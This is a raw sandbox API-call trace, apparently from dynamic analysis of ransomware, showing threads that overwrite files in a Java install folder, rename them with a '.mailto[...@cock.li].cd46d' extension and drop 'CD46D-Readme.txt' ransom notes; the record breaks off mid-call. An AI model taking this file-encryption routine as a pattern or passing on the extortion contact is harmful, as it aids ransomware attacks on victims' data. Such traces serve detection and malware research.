(in: _Dest=0x48d660, _Source="jfr.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr.jar" [0052.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x48d660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10f8 [0052.468] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7540fcc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7540fcc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7572f9a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xce642c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxrt.jar", cAlternateFileName="")) returned 1 [0052.468] wcscmp (_String1="jfxrt.jar", _String2=".") returned 1 [0052.468] wcscmp (_String1="jfxrt.jar", _String2="..") returned 1 [0052.468] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x48d798 [0052.468] wcscpy (in: _Dest=0x48d798, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.468] wcscat (in: _Dest=0x48d798, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.468] wcscat (in: _Dest=0x48d798, _Source="jfxrt.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar" [0052.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x48d798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10fc [0052.469] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7539d8a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7539d8a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753c3a00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x809cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsse.jar", cAlternateFileName="")) returned 1 [0052.469] wcscmp (_String1="jsse.jar", _String2=".") returned 1 [0052.469] wcscmp (_String1="jsse.jar", _String2="..") returned 1 [0052.469] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x48d800 [0052.470] wcscpy (in: _Dest=0x48d800, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0052.470] wcscat (in: _Dest=0x48d800, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0052.470] wcscat (in: _Dest=0x48d800, _Source="jsse.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jsse.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jsse.jar" [0052.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x48d800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1100 [0055.698] FindNextFileW (in: hFindFile=0x440160, lpFindFileData=0x45ad70 | out: lpFindFileData=0x45ad70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.hprof.txt", cAlternateFileName="JVMHPR~1.TXT")) returned 1 [0055.698] wcscmp (_String1="jvm.hprof.txt", _String2=".") returned 1 [0055.698] wcscmp (_String1="jvm.hprof.txt", _String2="..") returned 1 [0055.698] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x420d98 [0055.698] wcscpy (in: _Dest=0x420d98, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib") returned="C:\\Program Files (x86)\\Java\\jre7\\lib" [0055.698] wcscat (in: _Dest=0x420d98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0055.698] wcscat (in: _Dest=0x420d98, _Source="jvm.hprof.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt" Thread: id = 236 os_tid = 0x9a0 [0046.786] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\LICENSE" (normalized: "c:\\program files (x86)\\java\\jre7\\license")) returned 0x20 [0049.125] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\LICENSE", dwFileAttributes=0x20) returned 1 [0051.041] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\LICENSE" (normalized: "c:\\program files (x86)\\java\\jre7\\license"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8dc [0051.041] GetFileSizeEx (in: hFile=0x8dc, lpFileSize=0x74bfca0 | out: lpFileSize=0x74bfca0*=41) returned 1 [0051.041] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460d80 [0051.041] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460da8 [0051.041] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460dd0 [0051.041] NtQuerySystemTime (in: CurrentTime=0x74bfc00 | out: CurrentTime=0x74bfc00*=132174898150200000) returned 0x0 [0051.041] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x677157cb [0051.041] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x65aa2856 [0051.041] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x6a48f9e7 [0051.041] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x6102572a [0051.041] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x60664fb3 [0051.041] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x7fc1e3d7 [0051.041] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x29a1d40 [0051.041] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x4b4b1fb0 [0051.041] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x42c81067 [0051.041] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x30b3ba5 [0051.041] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x7a7ac933 [0051.041] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x6391ac37 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x4ff1a5cf [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x39155d95 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x46f65619 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x2bfbabf7 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x4b46e292 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x754f5dd1 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x2311ccd1 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x1c2f64dd [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x7b7bc2bd [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x74541f84 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x7ea63630 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x4904bf39 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0xba12186 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x19bdb534 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x61389895 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x2818f099 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x130c228 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x5a93c234 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0x45c4d65 [0051.042] RtlRandomEx (in: Seed=0x74bfc0c | out: Seed=0x74bfc0c) returned 0xb8b6dea [0051.054] ReadFile (in: hFile=0x8dc, lpBuffer=0x12dd19e0, nNumberOfBytesToRead=0x29, lpNumberOfBytesRead=0x74bfbfc, lpOverlapped=0x0 | out: lpBuffer=0x12dd19e0*, lpNumberOfBytesRead=0x74bfbfc*=0x29, lpOverlapped=0x0) returned 1 [0051.055] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.055] WriteFile (in: hFile=0x8dc, lpBuffer=0x12dde1e8*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x74bfbf8, lpOverlapped=0x0 | out: lpBuffer=0x12dde1e8*, lpNumberOfBytesWritten=0x74bfbf8*=0x29, lpOverlapped=0x0) returned 1 [0053.441] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf370 [0053.441] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf398 [0053.441] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf398) returned 1 [0053.441] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dde1e8) returned 1 [0053.441] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dd19e0) returned 1 [0053.441] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5418) returned 1 [0053.441] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4028d0) returned 1 [0053.442] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1b) returned 0x97cf398 [0053.442] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.442] WriteFile (in: hFile=0x8dc, lpBuffer=0x12f4b2d0*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x74bfc60, lpOverlapped=0x0 | out: lpBuffer=0x12f4b2d0*, lpNumberOfBytesWritten=0x74bfc60*=0xff, lpOverlapped=0x0) returned 1 [0053.610] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4b2d0) returned 1 [0053.610] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf3c0) returned 1 [0053.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf3e8) returned 1 [0053.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf398) returned 1 [0053.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf370) returned 1 [0053.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460da8) returned 1 [0053.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460df8) returned 1 [0053.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460e20) returned 1 [0053.611] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43f370 [0053.611] wcscpy (in: _Dest=0x43f370, _Source="C:\\Program Files (x86)\\Java\\jre7\\LICENSE" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned="C:\\Program Files (x86)\\Java\\jre7\\LICENSE" [0053.611] wcscat (in: _Dest=0x43f370, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\LICENSE.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Java\\jre7\\LICENSE.mailto[2Hamlampampom@cock.li].cd46d" [0053.611] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\LICENSE.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x74bfc18, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\LICENSE.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.611] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x45cca8 [0053.642] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45cca8) returned 1 [0053.643] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49cdd8) returned 1 [0053.643] NtQueryInformationFile (in: FileHandle=0x8dc, IoStatusBlock=0x74bfc24, FileInformation=0x74bfbfc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x74bfc24, FileInformation=0x74bfbfc) returned 0x0 [0053.643] NtSetInformationFile (FileHandle=0x8dc, IoStatusBlock=0x74bfc24, FileInformation=0x74bfbfc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.648] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43f370) returned 1 [0053.648] FlushFileBuffers (hFile=0x8dc) returned 1 [0053.653] CloseHandle (hObject=0x8dc) returned 1 [0053.658] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x43c6a0 [0053.658] wcscpy (in: _Dest=0x43c6a0, _Source="C:\\Program Files (x86)\\Java\\jre7\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0053.658] wcscat (in: _Dest=0x43c6a0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt" [0053.658] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\cd46d-readme.txt")) returned 0xffffffff [0053.658] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x268 [0053.662] WriteFile (in: hFile=0x268, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x74bfc20, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x74bfc20*=0x6fd, lpOverlapped=0x0) returned 1 [0053.955] CloseHandle (hObject=0x268) returned 1 [0053.955] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43c6a0) returned 1 [0053.955] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a3d0) returned 1 Thread: id = 237 os_tid = 0x8e4 [0046.787] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt")) returned 0x20 [0049.323] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt", dwFileAttributes=0x20) returned 1 [0057.305] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x994 [0057.305] GetFileSizeEx (in: hFile=0x994, lpFileSize=0x31afb2c | out: lpFileSize=0x31afb2c*=47) returned 1 [0057.305] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460a10 [0057.305] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4609e8 [0057.305] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460998 [0057.305] NtQuerySystemTime (in: CurrentTime=0x31afa8c | out: CurrentTime=0x31afa8c*=132174898212912000) returned 0x0 [0057.305] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x285bd5b9 [0057.305] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x55bdcda4 [0057.305] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x1f080e77 [0057.305] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x57bcd34e [0057.305] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x2a8d2bae [0057.305] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x1fa3e73d [0057.305] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x7b202d22 [0057.305] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x472561af [0057.305] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x2b1237c2 [0057.305] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x45138da1 [0057.305] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x2505d399 [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x2be23cd3 [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x24a00a68 [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x619b9d [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x56937d3b [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x13e2d255 [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x6e06336e [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x5e75c907 [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x4428b569 [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x1c75fe7e [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0xe4f2c15 [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0xbe54f3f [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x6117dc20 [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0xa54ff77 [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x14eab911 [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x677b64c0 [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x5561bbc [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x5bf7509b [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x754f3820 [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x406148d1 [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x177ed00 [0057.306] RtlRandomEx (in: Seed=0x31afa98 | out: Seed=0x31afa98) returned 0x3105fe6a [0057.318] ReadFile (in: hFile=0x994, lpBuffer=0x5e79880, nNumberOfBytesToRead=0x2f, lpNumberOfBytesRead=0x31afa88, lpOverlapped=0x0 | out: lpBuffer=0x5e79880*, lpNumberOfBytesRead=0x31afa88*=0x2f, lpOverlapped=0x0) returned 1 [0057.319] SetFilePointerEx (in: hFile=0x994, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.319] WriteFile (in: hFile=0x994, lpBuffer=0x5e86088*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x31afa84, lpOverlapped=0x0 | out: lpBuffer=0x5e86088*, lpNumberOfBytesWritten=0x31afa84*=0x2f, lpOverlapped=0x0) returned 1 [0057.326] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460a10 [0057.326] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460998 [0057.326] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460998) returned 1 [0057.326] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e86088) returned 1 [0057.326] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e79880) returned 1 [0057.326] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0057.326] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0057.326] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x4088c0 [0057.326] SetFilePointerEx (in: hFile=0x994, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.326] WriteFile (in: hFile=0x994, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x31afaec, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x31afaec*=0x105, lpOverlapped=0x0) returned 1 [0057.370] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0057.370] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8a0) returned 1 [0057.370] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460998) returned 1 [0057.370] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4088c0) returned 1 [0057.371] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460a10) returned 1 [0057.371] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4609e8) returned 1 [0057.371] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460970) returned 1 [0057.371] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460948) returned 1 [0057.371] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x43ddc8 [0057.371] wcscpy (in: _Dest=0x43ddc8, _Source="C:\\Program Files (x86)\\Java\\jre7\\README.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\README.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\README.txt" [0057.371] wcscat (in: _Dest=0x43ddc8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\README.txt.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Java\\jre7\\README.txt.mailto[2Hamlampampom@cock.li].cd46d" [0057.371] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\README.txt.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x31afaa4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\README.txt.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0057.371] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02360 [0057.373] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02360) returned 1 [0057.373] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x455998) returned 1 [0057.373] NtQueryInformationFile (in: FileHandle=0x994, IoStatusBlock=0x31afab0, FileInformation=0x31afa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x31afab0, FileInformation=0x31afa88) returned 0x0 [0057.373] NtSetInformationFile (FileHandle=0x994, IoStatusBlock=0x31afab0, FileInformation=0x31afa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0057.385] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ddc8) returned 1 [0057.385] FlushFileBuffers (hFile=0x994) returned 1 [0057.388] CloseHandle (hObject=0x994) returned 1 [0057.389] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x420fc8 [0057.389] wcscpy (in: _Dest=0x420fc8, _Source="C:\\Program Files (x86)\\Java\\jre7\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\") returned="C:\\Program Files (x86)\\Java\\jre7\\" [0057.389] wcscat (in: _Dest=0x420fc8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt" [0057.389] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\cd46d-readme.txt")) returned 0x20 [0057.389] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420fc8) returned 1 [0057.389] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a430) returned 1 Thread: id = 238 os_tid = 0x8e8 [0046.787] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\release" (normalized: "c:\\program files (x86)\\java\\jre7\\release")) returned 0x20 [0049.686] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\release", dwFileAttributes=0x20) returned 1 [0059.039] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\release" (normalized: "c:\\program files (x86)\\java\\jre7\\release"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c8 [0059.039] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x72cfc60 | out: lpFileSize=0x72cfc60*=506) returned 1 [0059.039] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x1f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.039] ReadFile (in: hFile=0x2c8, lpBuffer=0x72cfbe4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x72cfbe0, lpOverlapped=0x0 | out: lpBuffer=0x72cfbe4*, lpNumberOfBytesRead=0x72cfbe0*=0x4, lpOverlapped=0x0) returned 1 [0059.040] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.040] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0240 [0059.040] RtlAllocateHeap (HeapHandle=0x3f0000, 